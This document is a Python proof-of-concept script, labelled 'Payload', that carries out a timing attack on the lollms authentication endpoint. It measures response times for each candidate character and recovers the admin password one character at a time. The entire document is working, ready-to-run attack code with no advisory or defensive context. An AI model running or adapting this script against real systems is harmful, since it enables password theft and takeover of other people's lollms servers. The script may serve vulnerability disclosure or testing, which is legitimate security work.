Payload

import requests
import time
import string
import operator

# --- Configuration ---
# The target URL for the lollms authentication endpoint
TARGET_URL = "http://127.0.0.1:9600/authenticate_user"

# A known or guessed valid username to target
USERNAME = "admin"

# The character set to test for the password
CHARSET = string.ascii_letters + string.digits + string.punctuation + " "

# Number of requests to average for each character to reduce network jitter
SAMPLES = 5
# --- End Configuration ---

def check_time(password_guess):
    """
    Sends an authentication request with a password guess and returns
    the average response time over a number of samples.
    """
    payload = {
        "username": USERNAME,
        "password": password_guess
    }
    timings = []
    try:
        for _ in range(SAMPLES):
            start_time = time.perf_counter()
            requests.post(TARGET_URL, json=payload, timeout=10)
            end_time = time.perf_counter()
            timings.append(end_time - start_time)
        return sum(timings) / len(timings)
    except requests.exceptions.RequestException as e:
        print(f"\n[!] Error connecting to target: {e}")
        return 0


def main():
    """
    Executes the timing attack to incrementally discover the password.
    """
    found_password = ""
    print(f"[+] Starting timing attack on user '{USERNAME}' at {TARGET_URL}")
    print(f"[+] Using character set: {CHARSET}\n")

    # Loop indefinitely until no new character is found
    while True:
        timings = {}
        for char in CHARSET:
            current_guess = found_password + char
            print(f"\r[*] Testing: {current_guess.ljust(30)}", end="")
            
            measured_time = check_time(current_guess)
            if measured_time == 0: # Handle connection error
                return
                
            timings[char] = measured_time

        if not timings:
            print("\n[-] Attack failed, no timings received.")
            break
        
        # The character with the longest response time is the correct one
        best_char = max(timings.items(), key=operator.itemgetter(1))[0]
        
        # A simple check: if the max time is not significantly different
        # from the average, we might have reached the end of the password.
        # This is a basic heuristic and may need tuning.
        avg_time = sum(timings.values()) / len(timings)
        if timings[best_char] < avg_time * 1.1: # Threshold of 10% above average
            print(f"\n[!] No significant time difference detected. Possible end of password.")
            break
            
        found_password += best_char
        print(f"\r[+] Found character: '{best_char}'. Current password: '{found_password}'")

    print(f"\n\n[+] Attack finished.")
    print(f"[+] Discovered Password: {found_password}")


if __name__ == "__main__":
    main()